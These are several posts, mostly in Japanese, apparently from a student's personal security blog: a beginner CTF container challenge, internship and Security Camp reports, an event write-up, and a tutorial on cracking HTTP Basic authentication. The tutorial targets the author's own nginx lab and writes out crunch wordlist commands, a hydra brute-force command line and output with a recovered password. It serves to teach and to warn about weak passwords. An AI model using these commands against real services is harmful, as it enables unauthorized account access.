Let's Try Easy First Pentest

RyuKyu-Univ Advant 2020

日本語 is followed under English

This is a article on day 16 in Ryukyu-University Advent Calender 2020

adventar.org

What is Pentest ?

Pentest is " Penetrate Testing ".

Simply said, It is attacking target Machine, Server or etc. to detect and inspect Vulnerabilities of target.

That's very exciting !

if you know more details of pentest, google "pentest".

You could find many informations.

The Challenge !

Anyway !

Don't think about it too hard !

Let's try the challenge prepared by me !

step1. Install ZIP

please, install ZIP file from here

drive.google.com

(It's too easy enough to doesn't need to host in Github)

please unzip ZIP file and move the file after Install ZIP file

step2. Build container

Then, if you hadn't installed "Docker", please install Docker

Next, Read and confirm README.md

and run and execute "mission_Start.sh"

f:id:ayataka00:20201215043052p:plain
Step.2

If the message ---> Running Container DONE! please, confirm README ! output, the challenge container is running in your environment.

step3. Access Container

run, $ ssh localhost -l dock -p 20021

  • user : dock
  • pass : dock

the login shell is /bin/sh, change /bin/bash in your preference.

f:id:ayataka00:20201215043101p:plain
Step.3

if you could login container, the SETUP is all done !

please, firmly read and confirm README.md

the Regulations

  • the mission and location of flag file are written in README.md
  • CAUTION : the challenge container is running as container, so using $ docker exec -it CONTAINER_ID /bin/bash, you could login as ROOT. but that is nothing of funny and exciting. thus, please login via ssh as dock

f:id:ayataka00:20201215043110p:plain
README

if you could find Flag Message !

if you are Ryukyu-Univ student, please tell me what message in flag file and How you detected and read the flag file via Mattermost ! ( telling me is Optional )

and if you have few question , please ask me via Mattermost !

Afterwords

honestly, I don't have plan to write how to solve because it is so easy currently.

Japanese Part

ということでここからは日本語で書いていきます! なぜ、英語で書いたん?というと、とある事情でここ数ヶ月、英語を勉強していると痛感することがありそれによるものです。 それは

  • 日本語ってむずい、面倒臭い、分かりづらい
  • 英語ってシンプルで分かりやすい!書きやすいしね...

という英語を勉強している人がある一定のレベルを超えると言ってくるやつを実感できるようになったからですねー。 日本語って難しいんだなぁと最近よく思います。

まぁ、でも1番の英語を使う理由は読む層がだいぶ変わることが挙げられると思います。

英語でGithubを書いていると英語の検索に引っかかるので基本的に英語を使う言語圏の方々の目に留まりやすいんですよね〜。 日本語と英語を使う人口の割合はまぁ自明なのでより多くの人の目に留まるのは英語ですよねってだけの話なんですが、知らぬ間にGithubのStarがたまっていたりしますので、おすすめです!

以下の文章は英文をDeeplにぶん投げて貼って少し修正しただけなので日本語変なところは悪しからず...

What is Pentest

Pentest とは、「ペネトレーションテスト」のことです。

簡単に言うと、ターゲットのマシンやサーバなどを攻撃して、ターゲットの脆弱性を検出・検査することです。

最高に楽しいやつです。

ペンテストの詳細を知りたければ、"pentest "でググってみてください。

たくさんの情報が出てきます。

Challenge

とにかく! 難しいことは考えずに、私が用意したチャレンジに挑戦してみましょう。

step1. ZIPをインストールする

こちらからZIPファイルをインストールしてください。

drive.google.com

(Githubでホストする必要がないくらい簡単なので)

ZIPファイルをインストールした後、ZIPファイルを解凍して移動してください。

step2. コンテナを構築する

では、「Docker」をインストールしていない方は、「Docker」をインストールしてください。

次に、README.mdを読んで確認してください。

"mission_Start.sh "を実行します。

f:id:ayataka00:20201215043052p:plain
Step.2

メッセージ ---> Running Container DONE! please, confirm README ! が出力された場合、コンテナはあなたの環境で動作しています。

step3. コンテナにアクセスする

$ ssh localhost -l dock -p 20021 でアクセスします。

  • user: dock
  • pass: dock

ログインシェルは/bin/shなので、お好みで/bin/bashを変更してください。

f:id:ayataka00:20201215043101p:plain
Step.3

コンテナにログインできれば、セットアップは完了です。

README.mdをしっかりよく読んで確認してください。

規則

  • ミッションとフラグファイルの場所はREADME.mdに書かれています。
  • 注意:チャレンジコンテナはコンテナとして動作しています。 なので、$ docker exec -it CONTAINER_ID /bin/bash を使えば、ROOT でログインできます。 ということで、それだとクソつまらないので、ssh経由でdock userでログインしてください

f:id:ayataka00:20201215043110p:plain
README

フラグを発見したら

もし琉大生なら、 フラグファイルの中にどのようなメッセージがあるのか、どのようにしてフラグファイルを検出し、読み取ったのか、MattermostのDM経由で教えてください! (任意で!、別に僕に知らせなくても構いませーん)

また、質問等がある場合は、Mattermostを介して私に尋ねてください!

後書き

ぶっちゃけものすごく簡単なので、現時点では解法を書く気はないですー。 できる人なら1分でできるレベルです。(僕はこの問題を以前解いた時、2分くらいで解けましたー)

ヒント出しちゃうと速攻で解けるので今のところノーヒントで...! それでもヒント欲しい方はMattermostで僕にDMください!

気が向いたら書きます...!

Wantedlyのインターンに行ってきた話

インターンに行ってきました!

  • 行った企業さん Wantedlyさん
  • インターン形式 就業型
  • 期間 初夏、2weeks
  • 所属したチーム インフラチーム

Wantedlyさん

www.wantedly.com

Wantedlyはたくさんのサービスを提供していますが、その中でも有名なのが「Wantedly Visit」という社名を冠したサービスでしょう。
企業とユーザーが"共感"をベースに出会うビジネスSNSです。

面談イベントで初めてWantedlyの中の人とお会いして、人事の方々からインターンの話を紹介されました。

インターンを決めたきっかけは、人事の方々がとても親切でおもしろい方々だったことと、「Wantedlyの技術力は凄いぞ!」と耳にすることが多かったので「中を見て見たい!」という気持ちになったことでした。

僕のスタンス

人それぞれインターンに求めるものは違うと思いますが、僕個人はインターンのお賃金よりも、何をさせてくれるのか?という「経験」を重視していました。
なので、正直インターンの報酬は出なくても全然大丈夫派の人です。
むしろ、何もできない学生が現場に入ると邪魔なはずなのに、コードレビューなどの世話をしてくれるだけですごく有難いし、嬉しい派です。

就業型インターン in Wantedly

実際に、Wantedlyさんのインフラチームに入って2週間業務に取り組みました! 最初は「2週間は長いかなぁ...?」と思っていたのですが、終わった今なら言えます。

短いっ!!!

インターンでやったこと

今回は、セキュリティエンジニアとしてインフラチームに所属し、「コンテナベースでセキュリティを底上げして安全性を高める」という目標があったので

  • Wantedlyさんが運用しているフロントの脆弱性スキャン
  • エンドポイントの設定不備がないかのチェックの自動化

の2つを行いました。

技術的でないお話

First week

最初の1週間は、現場の文化や業務の進め方に慣れる、また、現場が抱えている課題を洗い出し精査するということだけで時間を費やします。

この1週間はすごく大事で、この1週間で課題を見つけて取り組まないとインターンの成果を見せることができなくなってしまいます。

ですが、そこはメンターさんを含めチームリーダの方やチームの方々のお力を借りました。皆さんの知見と普段感じている改善点や「こうした方がいいんじゃない?」という意見をもらい、課題を自分の中で決定していきました。

Wantedlyさんでは、Github Flowを採用していて、issueやコメントに調べたことの考えをまとめたりメモをとったりすることで、メンターさんやチームの方々がissueやコメントを閲覧することができるので、スムーズに意思疎通がとれました。
なので、間違った認識をしていたりするとすぐに修正してくれます!有難い...!

Second week

そして、Go conference 2019 springが開催された翌週から僕のインターン2週目が始まりました。

1週目で決定した課題を解決する為に、技術選択やどのような構成にするかということをメンターさんと考えて、手を動かしていきました。 本来はGolangを使って実装したかったのですが、時間がなかったので別の言語で実装したのが心残りです...
途中まではGolangで書いていたので、それも楽しかったですけどね!
そして、2週目の最後の日、インターン最後の日には「インターン成果発表会」をチーム内で開催してもらい、色々なフィードバックをもらうことができました。

技術的な話

あまり深くは書けないのですが、インターンに行く前の僕はこんな感じでした。

  • Dockerは結構触っている
  • kubernetes( 以降、k8s )はあまりがっつり触ったことはなく、概要のみ知っているレベル
  • microservicesも概要レベル
  • セキュリティ診断も大規模なものは経験少ない

Wantedlyさんで学んだこと

  • Githubがこれまで以上に使えるようになたよ〜!
  • k8sを触らせてもらって、さらにk8sGCPについて色々教えてもらい、microservicesの理解度があがったよ!
  • k8sを効率的に使うためにはどう扱うべきかがなんとなくわかるようになたよ〜!

Wantedlyさんは、開発環境をk8sで動かしていて開発するためにはk8sを触る必要がありました。 k8sを触りたいが、今まで触る環境が無かった僕は発狂して喜びました。
さらに前述したGithub Flowを利用したおかけでGithubを今まで以上に扱うことができるようになりました。 (恥ずかしながら、この時、初pull req出しました...。嬉しかったです...。)
やはり、実際にk8sを導入していて活用している環境に入るとすごくk8sという技術が理解しやすかったです。
最高の学びの機会をいただきました...。

もちろん、診断などをして診断ツールに対する理解度が深まったり、大規模なものでの実施方法など新たな知見を得られましたが、どちらかというとコンテナ技術やオーケストレーション技術に対する理解度が大きく深まりました。
最高に楽しいですね、k8s

社内の雰囲気

オフィスはむっちゃ綺麗!
基本自分の席はあるが、誰でも使っていいオシャレな席や会議室がたくさんあって自由に使用可能。

www.wantedly.com

Wantedlyのエンジニアの方々ともたくさんお話をさせてもらいました!
みなさん、だいたい技術変態さんだと思います、はい。( いい意味ですw )
技術変態さんのお話はすごくおもしろく、苦労話やGolangの話からキーボード配列の話までたくさん聞かせてもらいました!
ワイワイしてとても楽しかったです!僕もいつか変態さんになりたいです!

インターン後のお話

インターンに関しては色々な意見があると思いますが、以前、「報酬が安すぎる」みたいなものを耳にしたことがあります。
僕は前述した通り、あまりその辺りに重きを置いてはいないのですが、今回のインターンの報酬を見た時に 「えっ、こんなに貰えるの?!」 と思いました。僕は学生なので大金に思えただけかも知れませんが、おそらく「報酬が安すぎる」ことは決してないと思います。
少なくとも、最初の1週間はお荷物だった僕にそこまであげることはないと思います...。
さらに、僕は地方の南の島在住なので、渡航費や宿泊費がかかるわけですが、それも全部負担してくれました! 本当にありがとうございます!という気持ちでいっぱいです。

最後に

今回、Wantedlyさんのインターンに行ってたくさんのことを学ぶことができました。
それは技術的なことだけに関わらず、業務の進め方だったり、キーボード配列の話だったり、白金台付近の美味しいご飯だったりw
社内のみなさんも温かい目で見守ってくださり、最高に楽しい2週間を送ることができました。
Wantedlyの皆さん、本当にありがとうございました!
まだまだ僕はレベルアップしなければならないので、技術変態になれた時に、またお会いしましょう!

セキュリティ・キャンプ2018全国大会 参加WriteUp

セキュリティ・キャンプ全国大会2018 開催!

f:id:ayataka00:20180820193148j:plain

夏休みです!そうです、夏になるとあいつがやってきます!
セキュリティキャンプ全国大会 がやってきます!

いやぁ、去年落選してから長かった... 今年はなんとか選考通過し参加して晴れてキャンパーになることができました (´・∀・)ノ

セキュリティキャンプDay0

episode0的なね... 僕は今回沖縄からだったので前泊対象者でした! なのでDay0の記録的短時間豪雨の時間帯に「死ぬんじゃねこれ?」とこぼしながら雷を避けて会場となるクロスウェーブ府中に参戦しました!!!

f:id:ayataka00:20180820193157j:plain

なんとか切り抜けた直後の一枚。 心なしか...歓迎されているような...いや、されてねぇわ、ただただ怖かったわw

セキュリティキャンプMYプログラム

開発と運用トラック(Bトラック)

  • day1(全トラック共通)

    • セキュリティ基礎
    • 特別講演(1)「 自由なエンジニアとは何か ~OSCを全国各地で150回以上やって分かったこと~ 」
    • 特別講演(2)「ハッカーは法律を破るのか」
    • グループワーク
  • day2

  • day3

    • IN-DEPTH STATIC MALWARE ANALYSIS
    • 解析を妨害しよう ~自作パッカー入門~
    • グループワーク
  • day4

    • 組込みリアルタイムOSとIoTシステム演習 ~守って!攻めて!ロボット制御バトルで体験する組込みセキュリティ~
    • シリアル通信から学ぶBadUSB自作演習
    • グループワーク
  • day5

    • グループワーク

僕のキャンプ日程はこんな感じです! 選択は「開発と運用トラック」でしたがday3,day4は自由選択なので一貫性のない選択になっていますが非常に楽しい講義しかなかった!

About Me

本名等は伏せますが、2018年現在で22歳。 期限ギリギリでしたがなんとか参加することができました! 沖縄の琉球大学というところからの参加で、沖縄からの参加メンバーは僕だけだったのでキャンパーの中では「沖縄の人」という名称で通っていると思います!

まずは見てくれスポンサー企業!!

www.security-camp.or.jp

すごいだろ...これ、全部スポンサーなんだぜ...

もちろん大企業さんも名を連ねますが、今をときめく企業さんも非常に多いですね!さらにセキュキャンの会場(以後、聖域)にはこの企業のエンジニアの方々(以後、神々)が沢山、入域していてまぶしすぎて直視できなかった...

なぜこういう話をするかというと次を見てくれ!!

ノベルティ

f:id:ayataka00:20180820193119j:plain

ノベルティー!!

ノベルティーーー!!!

この量とクオリティ!やばくないですか? 人生初です、この量とクオリティ!!

これがキャンプ受講者全員分用意されてるこのキャンプのこの資金力!!えぐい!

資金力は大事!!

スポンサー企業の皆さま、大好きです!!ありがとうございます!

さらに

毎年、恒例のセキュキャンTシャツは今年はピンクという可愛らしいやつでした!

だが今年は一味ちがう!パーカーだぁぁぁ!!

このパーカーめっちゃかっこよくないですか? これ学校や会社で羽織ってたらドヤれるやつですよね!!

さらにさらに!

なんと!!day4の最後に突然の発表!! 講師やスポンサーの方々からノベルティとは別にプレゼントがあるとのことで聖域のボルテージは最高潮に!!

主に、講師の方々の著書やBlackHat帰りの講師の方々からの品々で数に限りがあるとのことで聖域で無慈悲なじゃんけんが始まりました! グループの代表がまさかまさかの2位!そこで僕は欲しかったBlackHatのリュックとサーバレスアーキテクチャの本をGetしました!!

f:id:ayataka00:20180820193216j:plain

が!!ここからが大変でした...

そのリュックは2個しかなく超絶Sレア級の代物...

会場に戻ってきた瞬間からヘイトが始まり、「交換しないか?お前の命とそのリュック」みたいな感じで脅迫されますww

いいですか?何かを得るには何かを捨てなければなりません。等価交換の法則ですねw

レアものを手にしたからには、そこは鋼の心を持ち、人情を捨ててすぐに自室に戻り大切に保管しなさい!w

(*みんないいやつですよw)

講義たち

特に僕の心に残った講義たちを紹介します!(というのも全ての講義すごいおもしろかったのだが全て書いていると時間がない...) ちなみに、秘匿性が高い情報や外にだすと危ない情報も多いので敢えて詳細を全部は述べません!僕の感想を基本ベースにやっていきます!

Day2 : Vulsとエクスプロイト演習で学ぶ、既知の脆弱性管理の重要性と効率的な対策方法

Vulsというシステムの脆弱性を検知して教えてくれるOSSのコミッターである神戸さんと福田さんによる講義で、実際に脆弱性をついた攻撃、Exploit攻撃をしました!初心者にとってはExploitが一番難しい攻撃の方法だと思っている節があるので、その攻撃の方法、手順、防御の仕方を学べたのは興奮しました!攻撃ができてしまうのはまずい、だから脆弱性を見つけることが大事だ!

うん、確かに...。

だけど様々なOSSや言語、プログラムでできているシステムの中から脆弱性を見つけ出すのは一筋縄ではいかないぞ...

あっ!!超絶便利で使いやすいOSS脆弱性ScanツールのVulsがあるぞ!!!!

って僕はなりました!!

またこの講義で講師の福田さんがセキュキャンでも1,2番に大事なことを教えてくださりました!!

福田さん >> セキュリティエンジニアは様々な脅威と戦う反面、様々な脅威が襲いかかってくることもあります。さて、そこでセキュリティエンジニアに一番必要なものとはなんでしょうか?

僕 >> 腕力ですかね?

福田さん >> そう!筋肉です!!

Day3 : IN-DEPTH STATIC MALWARE ANALYSIS

その名の通り、マルウェア静的解析のさらなる深みへGo!!! 深すぎて僕が一番、事前課題に頭を悩ませた講義でもあります!解析するツールがWindowsで動くんですが如何せん、僕はMacユーザだったので苦戦しました!

めちゃめちゃ深いです。が受講すると講師の中津留さんの説明がおもしろいのとわかりやすいので最初はあんなに難しくて意味がわからなかった解析画面がだんだん読めてくるようになりマルウェアの挙動が分かり始めてくるのが非常に刺激的でした!

今後はPEファイルだけでなくELFファイルも解析できるようになりたいなぁ〜!

Day4 : 組込みリアルタイムOSとIoTシステム演習 ~守って!攻めて!ロボット制御バトルで体験する組込みセキュリティ~

今回、僕が事前学習&事前課題に割と時間をさいた講義でもあります! ネットワーク攻防戦と実際のロボットを使ったロボコンを同時に行い、うまく操作してフィールド内にあるアイテムを獲得した個数でランキングして勝敗を決めるという講義でした。 座学としては既存の汎用OSと車、制御ロボットやIoT等で使われるリアルタイムOSの違いや利点、アーキテクチャなどを教えてもらいました。リアルタイムOSアーキテクチャはなんかおもしろいですね!!!

Hands OnとしてはWeb上のコンパネから操作できるロボットを操作してロボコンを開始しましたが、全チームのロボットが同じLAN内にいるので攻撃が可能です!

そう、この競技の最大のおもしろみとは攻撃ガンガンいこうぜ状態なのです!!

僕としては割と事前学習でも攻撃のバリエーション用意したりデモしたりしていたのですが、如何せん実際の環境になるとむずかしいです。そもそもLANに大量のトラフィックを流せば全員が重くなるので攻撃もクソもないんですよねー!そこが悩みどころでした!ですが、1回戦でDNSスプーフィングをしかけて割と他のチームは動いていなかったのに自分のチームが動いていたのでシャアの再来かと思いました!!!

そして、2回戦は「あれ?動かん、こいつ動かんぞ!!!」って言っている間にデバッグしていたらまさかの電池切れでタイムロスしててポイント0という嘘だろエンドでした!

Day4 : シリアル通信から学ぶBadUSB自作演習

選択講義最終日の最終講義がこのBadUSBの作成になります!このUSBの作成は簡単に悪用できるので詳細は特に伏せます。この講義はBadUSBやUSBKillerに興味を持った約1年前から受けたかった念願の講義でした!

僕はMacユーザなのでWindowsPowershellの使い方がわからないのと機材エラーでUSBを刺した瞬間にCurlでGETを投げまくる動作をさせました!事後学習が簡単にできそうなので今後もちょくちょく触っていきます!

グループワーク

さて、なんと言っても技術的な講義以外にも多く配置されているこのグループワークですが、これがなんといってもすごい!!

講師の川口さんはもう何年このグループワークをやってるんだ!?ってくらい回し方が上手くて笑いの絶えないグループワークになりました! では、この時間に一体何をするのかというと 講師の方々やスポンサー企業の方々、チューターの方々に「自分自身の未来について」なんでも質問しようぜの時間 です!

テーマが「キャンプ終了後の自分自身の未来について」という事なのでまぁ、必然的にキャリアの話になりますよね!それでもキャリアに関する疑問・話をぶるけるには豪華すぎる講師陣です...

とりあえず滅多に会えることのない方々なので手当たり次第に色々質問しました!キャンプ初日からキャンプ最終日までに本当にたくさんの方々と話して何度もマインドチェンジが自分の中で起こりました!キャリアや自分が今後やること、やりたいことについて色々考え質問しフィードバックをもらい、また考えまた質問するの繰り返しでどんどんブラッシュアップしていきました!非常に重要で最高な時間でした!!

キャンプ地

クロスウェーブ府中

こんな感じだ!!

f:id:ayataka00:20180820193229j:plainf:id:ayataka00:20180820193219j:plain

これからの参加者に言えること

僕は今回キャンプ期間中にインタビューを受けて次のキャンプ参加希望者へのメッセージ的なやつもお話ししましたのでそこと被る部分もあると思いますが、できるだけ差別化して少し伝えようかなと思います。

とりあえず挑戦だ!!!

とりあえず挑戦だ!!! なんですが、適当ではダメですね! 応募課題もちゃんと悩んでちゃんと時間をかけて取り組んだ方がいいです。何故かと言うと、選考側の講師の方々も技術的なことももちろん見ますが、それと同じくらいキャンプにかける意気込みや情熱も見ています!その情熱がちゃんと伝わるように文章を書く力もすごい大事な要素になります!もう選択課題、共通課題も全て回答するくらいの意気込みで書くと審査する講師側にも熱意が伝わりやすいんじゃないかなと思います! 大事なこととしては

  • 丁寧に
  • 時間をかけて

という当たり前のことになりますが大事なことですね というか時間をかけて丁寧にやって理解を深めた方がキャンプで得るものも多いと思いますよ! ただ、応募課題というハードルがあるので少し気後れしてしまう気持ちもわかりますがそこを勇気をだして乗り越えるとあとは走るだけです!がんばってください!

参加後の意気込み

セキュリティキャンプには参加制限があります。22際までの参加で受講生としては1度しか参加することができません。なので、その参加をより良いものにするために少心に止めておいて方がいいと思うことをいくつかピックアップしたいと思います!!

1. 睡眠大事!!

キャンプ期間中は朝の8時くらいから大体22時あたりまで活動します!そこから自室に戻り就寝準備をするわけですが、すぐに就寝準備に入れるわけではありません! その日に新しく得た情報を詳しく調べたり、講義中にできなかったところを自分でやったり更に調べたり、翌日の講義の準備や下調べをしたりしているとあっと言うに日付が変わります... それでもある程度のところで切り上げて寝ましょう! 僕は大体24-25時の間で寝て07:30くらいに起きるという生活をしていました、それでも時たま講義中は眠くなることがあるのでコーヒーは必須です! 講義中に眠くなり集中できなくなると非常に勿体無いので睡眠はしっかりとりましょう!

2. とりあえず質問する!!

講義中は講師の方々は全員が質問を求めています! 講義に集中していたら小さな疑問も出てくると思いますが、超絶すごい講師の方々に質問するのは少しビビってしまいすよね?! ですが、そこは絶対に質問してください!

講師の方々も質問を待っていますし、全ての質問に快く丁寧に答えてくれるはずです! 質問することで自身の理解も深まり、もしかすると講師の方々に覚えてもらういいチャンスかもしれません!小さなことでもいいのでとりあえず1単位時間に1質問くらいの意気込みでいきましょう!

グループワークでは特に積極的に動く!!

先ほど、1時間単位に1質問と言いましたがグループワークではもっと積極的に動きましょう!

前述しましたが、スポンサーの方々、自分が受講する講義以外の講師の方々は神レベルのすごい方達なのでガンガン質問していきましょう!!

「御社に入るにはどうしたら いいですか?!」といった風な単刀直入にぶっこんだ質問でも笑いながら聞いてくれると思いますよ!

  • 「現在はどういったお仕事をしているんですか?」
  • 「学生時代は何をしていましたか?」
  • 「どういったOSSが今はアツいですか?」
  • 「今の時点でやっておいた方がいいことはなんだと思いますか?」
  • 「どのようにして情報をアウトプットしていますか?」

等を質問するとすごいいい返答がかえってきます!

本当にグループワークや自由時間など質問する時間はガンガン動きましょう!

最後に

今回のセキュリティキャンプ全国大会2018を開催するために尽力してくださった講師、運営、OB、スポンサー企業の方々。

本当にありがとうございました!最高に楽しかったです!また、いい経験を積むこともでき色々な方と知り合うこともできました。それもこれも全て「キャンプが最高のものになるように」と尽力してくださった全ての方々のおかげです。改めて、またお礼を言わせてください。

ありがとうございました!

次は僕もその尽力する側に回りたいと思います(実力が伴えば...)

その際はまたよろしくお願いします。

hydraでBasic認証をパスワードクラック!

Basic認証をクラックしよう


以前、sshでhydra使ってpasswordクラックしたんだけどパフォーマンス悪いし見えにくいしでhttpのBasic認証でcrackした方が見やすいし、簡単でいいな、ということで以前組んでいたBasic認証を再利用してhydraでattackする。ちょうど脆弱性デモをしたかったし好都合。


デモ環境



使ったtool

  1. hydra
  2. crunch
  3. Basic認証
  4. nginx

なお全てインストール済みということを前提としている


NginxにBasic認証導入編


basic認証をかけるパス配下 sampleディレクトリ配下にかける

/var/www/html/sample


.htaccessファイルの場所


そもそもnginxには.htaccessファイルはない、それに該当するファイルとして

/etc/nginx/sites-available/default

というdefaultファイルに設定を付け加える

server {
        listen 80 default_server;
        listen [::]:80 default_server;
        location /sample {
            auth_basic            "Basic Auth";
            auth_basic_user_file  "/etc/nginx/.htpasswd";
        }


.htpasswdファイルの場所


/etc/hginx/.htpasswd
ユーザ:{SHA}S78***************

.htpasswdにはユーザ:暗号化されたpasswdという形式で記述 暗号化にはこういう便利なサービスを利用するといい

パスワード暗号化ツール

後はsystemctl restart nginxとかガチャガチャする そしてhttp://IPADDR/sampleにアクセスするとBasic認証が起動する


参考URL

Nginx : Basic認証の設定 ApacheでBasic認証設定


パスワードファイル編


hydraでcrackする際は基本的にBruteforce attack( 総当たり攻撃 )という手法でcrackするがその際に使用する辞書と呼ばれるパスワードファイルを用いて総攻撃をするので、使う辞書によっては総当たり攻撃とも言えないのでは?と思ったけどそこは重要じゃないので流す! とりあえず、パスワードファイル、辞書ファイルがないと何も始まらないよ!ってことで今回は有名な辞書ファイルを使う! 最新のよく使われるパスワードファイルなんかで回すとどうなるんだろうw


使用感度のいいPassword list


Open Wall

よく使われるパスワードをリスト化したファイルを置いてある。 ここにあるlower.gzとpassword.gzをダウンロードして使用 lowerが3kと軽く、ワード数は1000未満 passwordが13kと程よく、ワード数は3600程度 今回はどちらも使用した!


自分で作成するpassword list


crunchというコマンドで自分でパスワードファイルを作成することも可能で、その場合だと本当の意味での総当たりができると思う。

$ crunch
crunch version 3.6

Crunch can create a wordlist based on criteria you specify.  The output from crunch can be sent to the screen, file, or to another program.

Usage: crunch <min> <max> [options]
where min and max are numbers

Please refer to the man page for instructions and examples on how to use crunch.

によるとどうやらこう使うらしい

$ crunch 3 3 ab 
Crunch will now generate the following amount of data: 32 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 8 
aaa
aab
aba
abb
baa
bab
bba
bbb

このように

$ crunch 最小文字列数 最大文字列数 文字列に含む文字 >> failname.txt

というように使う。そうすると結果として出力されるのであとはファイルに書き出してやればいい。


今回は実験として重複ありの全ローマ字で8文字列と6文字列のパスワードファイルを作成してみた


6文字列

$ time crunch 1 6 abcdefghijklnmopqrstuvwxyz > plainpasswd.list
Crunch will now generate the following amount of data: 2236055952 bytes
2132 MB
2 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 321272406 
crunch 1 6 abcdefghijklnmopqrstuvwxyz > plainpasswd.list  67.02s user 3.25s system 95% cpu 1:13.45 total

01m:13sかかり、321272406wordsなのでそりゃ2Gも使う


$ time crunch 1 8 abcdefghijklnmopqrstuvwxyz > plainpasswd.list
Crunch will now generate the following amount of data: 1945934118544 bytes
1855787 MB
1812 GB
1 TB
0 PB

無理。1Tとか... そんなリソース無駄使いできないしCPUがえぐかったので強制終了。


なのでおそらく、その場でa~zまでのランダムな文字列のパスワードファイルを作成しようとすると6文字くらいが限界。12桁のパスワードファイル等をcrackする際のパスワードファイルを作成する場合はCPUパワーがあるマシンで数日回す必要があると思う。


URL


10_million_password_list_top_100000 最新のパスワードファイル

他にも「 password list 」なんかで検索するとたくさん出てくる


hydra password crack編


ここまでBasic認証とパスワードファイルを用意した。ついに本題である、hydraによるBasic認証のPassword Crackに入れる!


hydraの使い方をおさらい


基本的に

hydra -l ユーザ -p '辞書のパス' 攻撃するマシンのIP プロトコル

だが、今回はBasic認証ということで少しフォーマットが変わる

time hydra -l ユーザ -P パスワードファイルのパス IPADDR http-get /Basic認証がかかっているIPADDR配下のファイル

というフォーマットで後はコマンド叩くだけ


そして今回はIPADDR/sampleにかけられているBasic認証にcrackするので上にユーザも判明している場合を想定しているので、結果として、

MYUSER:[~]$ time hydra -l USER -P ~/Desktop/password.lst 10.0.0.*** http-get /sample
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2018-01-22 16:13:07
[DATA] max 16 tasks per 1 server, overall 16 tasks, 3557 login tries (l:1/p:3557), ~223 tries per task
[DATA] attacking http-get://10.0.0.***:80//sample
[80][http-get] host: 10.0.0.****   login: USER   password: dolphin
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2018-01-22 16:13:10
hydra -l USER -P ~/Desktop/password.lst 10.0.0.*** http-get /sample  0.02s user 0.09s system 3% cpu 3.042 total

見やすく抽出すると

[80][http-get] host: 10.0.0.****   login: USER   password: dolphin


login: USER password: dolphin

ってバッチリとれてる!実にかかった時間なんと3s! dolphinというパスワードががっつり判明してる... このdolphinというパスワード、2018年の正月辺りにセキュリティ界隈ではバズったワードですねw
他にもpassword: 123456で回して見たけど0.7sというそりぁあね!という結果が得られたりしたよw


総括


まぁ、こんな感じで文字列だけとかいう脆弱なパスワードだと抜かれますよってこと。また、今回はユーザが判明している状況を想定したわけだけどユーザ名もユーザファイルみたいなよく使われるユーザ名をリスト化したファイルがあるからそれも併用してhydraを使えば回せるというわけ! 基本的にはBasic認証なんかもう今は使われてないと思うけど、もし使用していてパスワードを抜かれてしまった際はクラッカーはパスワードの使い回しを想定して暗躍しているので他のサービス等でそのパスワードを使用するという目的もちゃんと理解しておくべきなのかもね。 結局何が言いたいかというと、 脆弱なパスワードはあかん!!!! ということだよね(-A-)


URL


辞書攻撃に使う元ネタの辞書ファイル

Kail Linuxのhydraでブルートフォースを試す

クラックツールHydraでベーシック認証を突破してみる

ハッカーズチャンプルー2018 参戦!!!!!!

ハッカーズチャンプルー2018開幕ッッッッ!!

いつぶりの更新だろう...w

2018/06/30、梅雨明けしたにもかかわらず台風が接近しているということもあり生憎の雨の6月最終日...

ですがこの暑い沖縄にもエンジニアの熱気は負けてません!

始まる前からこの熱気です! f:id:ayataka00:20180702010315j:plain

さぁここから始まります、ハッカーズチャンプルー2018開幕です!!!!!

所感としては、こういうイベント系にしては割と多くの僕の学校の友人や後輩が参加していたなぁという感じです。特に1年生の子達が多く、将来有望です! こういうイベントではやはり多くの学校OBの先輩方が集まるので色々話をするのが非常に楽しみなことでもあります!

今回のWriteUP

今回はハッカーズチャンプルー2018については参加者の目線で感じたこと・思ったことをWriteUPしたいと思います!

なぜなら、ハッカチャンで発表された話題は他の人が既に書いていそうなのでそこを見た方が絶対にいいからです!!!w

hackers-champloo.org

当日のプログラムはこちら

hackers-champloo.org

すばらしいところ!

一番素晴らしいのはやはりハッカチャンでのカンファレンスです! がしかし、それは#hcmplで検索して出てきたブログを読んだ方がいいと思うので今回は別のいいところを紹介します!

午前にカンファレンスが終了するとお弁当の時間ですが、神々が御降臨されました...

今回の神々(スポンサー様方)

hackers-champloo.org

今回のハッカーズチャンプルー2018は、な、なんと神々のお慈悲により昼食・ドリンク・おやつ(お茶)が無料!!!

f:id:ayataka00:20180702010258j:plainf:id:ayataka00:20180702010341j:plain

この弁当とドリンクが全員分用意されていました!

神々よ、誠にありがとうございました!美味しくいただきました!

来年も無料だと学生はさらに参加しやすくなるんじゃないでしょうか!?

また、食事時間には神々の紹介がされていました! f:id:ayataka00:20180702010331j:plain

さらに各スポンサーのブースにはステッカー等が用意されていて皆が群れていましたw

f:id:ayataka00:20180702010421j:plain

esaのトリかわいいw

午後の部(カンファレンス)

VTuberのお話がおもしろかったw ハッカーズチャンプルー2018の後、VTuberであるキズナアイを見てみましたが色々着目する部分を教えてもらったので見ていて楽しかったです!

その他もGoユーザとしてタメになるお話や様々なお話を聞きました!

恒例行事

さて、午後の部(カンファレンス)が終了しクロージングが始まるとどこからともなく、クロージング芸人が召喚されます...w

f:id:ayataka00:20180702010324j:plain

超有名なクロージング芸人こと、@asumaslvさんが出現し恒例行事であるエクアドル産ハット・クロージングが繰り出されます...!!! 毎回、楽しく見させてもらっています!w

クロージングが終わると全員で集合写真です! f:id:ayataka00:20180702010431j:plain

この後、会場を締めてハッカーズチャンプルー2018本戦である懇親会に繰り出すわけですがその話はまた後ほど...

来年にむけて

来年のハッカーズチャンプルー2019の実行も今回のハッカーズチャンプルー2018の実行も全てスタッフ・ボランティアの努力のおかげです。本当にありがとうございました(>A<) 来年は僕も主催側に回ってお助けしたいと思います。

最後に

今回のハッカーズチャンプルー2018で学んだ大事なことは以下の2つです!

  • 口笛は無慈悲ッ!!!
  • スポンサーは神!!!

ということです。w

BTC・暗号通貨のマルチシグとは? CoincheckがNEMを流失してしまった原因なの??



Coincheck NEM 約690億円相当を流失


2018/01/26 モンスターハンターワールド発売日ですね!無意識にDLしてしまったので1日の4/5の時間を狩人として過ごしていたら、驚きのニュースが...


